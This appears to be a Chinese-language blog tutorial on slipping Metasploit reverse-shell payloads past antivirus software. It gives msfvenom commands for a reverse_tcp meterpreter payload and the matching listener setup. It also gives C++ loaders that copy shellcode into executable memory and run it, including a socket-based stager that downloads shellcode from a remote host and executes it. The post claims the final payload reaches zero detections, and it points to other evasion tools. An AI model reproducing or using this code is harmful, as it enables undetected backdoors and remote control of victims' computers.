反病毒解決方案用於檢測惡意文件,並且通常使用靜態分析技術來區分二進制文件的好壞。如果是惡意文件本身包含惡意內容(ShellCode),那么依靠靜態分析技術會非常有效,但如果攻擊者使用輕量級的stager來代替下載並將代碼加載到內存中,會發生什么?事實證明這樣做可以繞過大多數殺軟的查殺。
雖然這種繞過方法並不是新鮮技術,但繞過反病毒軟件對於大多數后門來說都是必要的,在這篇文章中,我們將使用virscan作為我們的檢測工具,並使用Metasploit生成一些反向的ShellCode作為我們的攻擊載荷。通過使用virscan雲鑒定技術,可以衡量出Payload的是否免殺,但需要注意的是,只有動態檢測或基於行為的檢測,才能真正捕獲到現實世界中的Payload。
首先我們使用 msfvenom 命令創建一個具有反向連接Shell的可執行文件,生成命令(Linux)如下:
[root@localhost ~]# msfvenom –p windows/meterpreter/reverse_tcp \
> lhost=192.168.1.30 lport=8888 \
> -f exe -o lyshark.exe
上方的代碼就可以生成一個lyshark.exe的可執行文件,將此文件上傳到VirusTotal,發現它會被大量反病毒引擎所查殺,這是正常的,因為它是一個常見的Payload,許多安全廠商都會針對Metasploit進行特征碼的提取與查殺。
嵌入式 Shellcode
通過上方的方式生成后門文件是不可取的,因為大多數反病毒廠商都掌握了Metasploit可執行模板的簽名,因此我們決定創建自己的可執行文件,然后手動實現 ShellCode的加載工作。我們再次使用 msfvenom 命令,但在這次只生成 ShellCode,而不是完整的可執行文件:
[root@localhost ~]# msfvenom -a x86 --platform Windows \
> -p windows/meterpreter/reverse_tcp \
> -b '\x00\x0b' LHOST=192.168.1.30 LPORT=8888 -f c
上方代碼會生成一個Payload有效載荷,這里我們需要記下來,然后將ShellCode復制到一個單獨的C++源文件中,然后編譯生成一個可執行文件。
#include <Windows.h>
#include <stdio.h>
using namespace std;
int main(int argc,char **argv){
char ShellCode[] = "\0x0x0x0x0x0x0x......"; // ShellCode 填充到這里。
void *exec = VirtualAlloc(0, sizeof ShellCode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, ShellCode, sizeof ShellCode);
((void(*)())exec)();
return 0;
}
生成成功后,我們將攻擊主機運行一個監聽事件,然后打開生成后的后門,然后發現能夠成功上線。
[root@localhost ~]# msfconsole
msf5 >
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.30
msf5 exploit(multi/handler) > set lport 8888
msf5 exploit(multi/handler) > exploit -j -z
但是這種方式也是會直接被檢測到,原因是ShellCode已經被加入了特征,接下來我們將通過遠程的方式加載ShellCode代碼,讓惡意代碼與加載器分離。
遠程加載 Shellcode
上方的掃描結果依然會報毒,原因就是ShellCode已經被捕捉了特征,這里我們將動態加載ShellCode。它不是使用已編寫到二進制文件中的ShellCode編譯可執行文件,而是在運行時動態獲取ShellCode代碼,並將其動態的加載到內存中執行,從而做到ShellCode與加載器的分離,減少誤報的概率。
#include <Windows.h>
#include <iostream>
#include <string>
#include <cstring>
#include <winhttp.h>
#include <stdlib.h>
#pragma comment(lib,"winhttp.lib")
using namespace std;
LPSTR get_shellcode(){
return 0;
}
int main(int argc,char **argv){
LPSTR hex_instructions = get_shellcode();
const char* ShellCode = hex_instructions;
int shellcode_length = strlen(ShellCode);
unsigned char* value = (unsigned char*)calloc(shellcode_length / 2, sizeof(unsigned char));
for (size_t count = 0; count < shellcode_length / 2; count++){
sscanf(ShellCode, "%2hhx", &value[count]);
ShellCode += 2;
}
void *exec = VirtualAlloc(0, shellcode_length / 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, value, shellcode_length /2 );
((void(*)())exec)();
return 0;
}
上方代碼中創建了一個名為get_shellcode()函數,用於從另一台主機遠程下載前面示例中使用的ShellCode。該函數使用winhttp庫中的各種方法,通過HTTP的方式檢索ShellCode。此外,當從遠程位置以ASCII格式加載ShellCode時,需要執行額外步驟,要將指令轉換為准備執行的原始二進制格式,這里的get_shellcode()並沒有填充完整。
本次殺毒,你會發現誤報全部消失了,因為在可執行文件中並沒有惡意的ShellCode,並且也沒有添加任何的下載函數,但如果添加了下載函數,此種方法生成的后門依然會存在誤報。
替代文件下載功能
盡管我們已經分離除了程序中的 ShellCode代碼,但有些殺毒軟件仍然會報毒。為了獲得0命中率,我們要思考,在這一過程遺漏了什么 ?
我們需要重新思考,首先要確定代碼的哪個部分導致了告警。從直覺上,懷疑是函數 VirtualAlloc 和 memcpy 導致反病毒引擎認為該文件是可疑的,因為這些函數通常被用於內存注入。但是很多程序都會在內存中分配空間,所以這種猜測本身就是不正確的,實際上HTTP請求調用的函數可以獲得遠程托管的ShellCode,從而導致可疑的結果。通常我們會使用的函數是:
WinHttpOpen
WinHttpConnect
WinHttpOpenRequest
WinHttpSendRequest
WinHttpReceiveResponse
WinHttpQueryDataAvailable
WinHttpReadData
WinHttpCloseHandle
但是這些函數,很容易就被殺軟盯上,但幸運的是,Windows 提供了許多不同的庫,可用於下載數據,例如WinInet,WinHTTP和Windows套接字。通過切換到更加手動的基於套接字的實現 ,如果使用這些第三方庫或使用系統自帶的下載命令,則任何防病毒引擎都不再將下載代碼標記為可疑。
void mParseUrl(char *mUrl, string &serverName, string &filepath, string &filename);
SOCKET connectToServer(char *szServerName, WORD portNum);
int getHeaderLength(char *content);
char *readUrl2(char *szUrl, long &bytesReturnedOut, char **headerOut);
然后將其與先前演示的shellcode加載過程相結合。
#include <windows.h>
#include <string>
#include <stdio.h>
#include <iostream>
#include <cstring>
using std::string;
#pragma comment(lib,"ws2_32.lib")
HINSTANCE hInst;
WSADATA wsaData;
void mParseUrl(char *mUrl, string &serverName, string &filepath, string &filename);
SOCKET connectToServer(char *szServerName, WORD portNum);
int getHeaderLength(char *content);
char *readUrl2(char *szUrl, long &bytesReturnedOut, char **headerOut);
int main(){
const int bufLen = 1024;
char *szUrl = "lyshark.com/shellcode";
long fileSize;
char *memBuffer, *headerBuffer;
FILE *fp;
memBuffer = headerBuffer = NULL;
if (WSAStartup(0x101, &wsaData) != 0){
return -1;
}
memBuffer = readUrl2(szUrl, fileSize, &headerBuffer);
if (fileSize != 0)
{
fp = fopen("down.file", "wb");
fwrite(memBuffer, 1, fileSize, fp);
fclose(fp);
delete(headerBuffer);
}
int code_length = strlen(memBuffer);
unsigned char* value = (unsigned char*)calloc(code_length / 2, sizeof(unsigned char));
for (size_t count=0; count < code_length / 2; count++){
sscanf(memBuffer, "%2hhx", &value[count]);
memBuffer += 2;
}
void *exec = VirtualAlloc(0, code_length / 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, value, code_length / 2);
((void(*)())exec)();
WSACleanup();
return 0;
}
最終的有效負載成功地向偵聽主機發送了反向shell,更重要的是,VirScan上的檢測率為零,本文所采取的步驟,展示了如何通過一些簡單的修改,來使Payload繞過殺軟的查殺。然而,我們還可以選擇許多其他選項,包括:
- 在已知合法的二進制文件中插入Payload(https://github.com/secretsquirrel/the-backdoor-factory)。
- 使用Veil(https://github.com/Veil-Framework/Veil)進行Payload的編碼和加密。
- 使用其他語言,例如:PowerShell、Python、Ruby、C#、Java、Go等。
參考文獻:https://countercept.com/blog/dynamic-shellcode-execution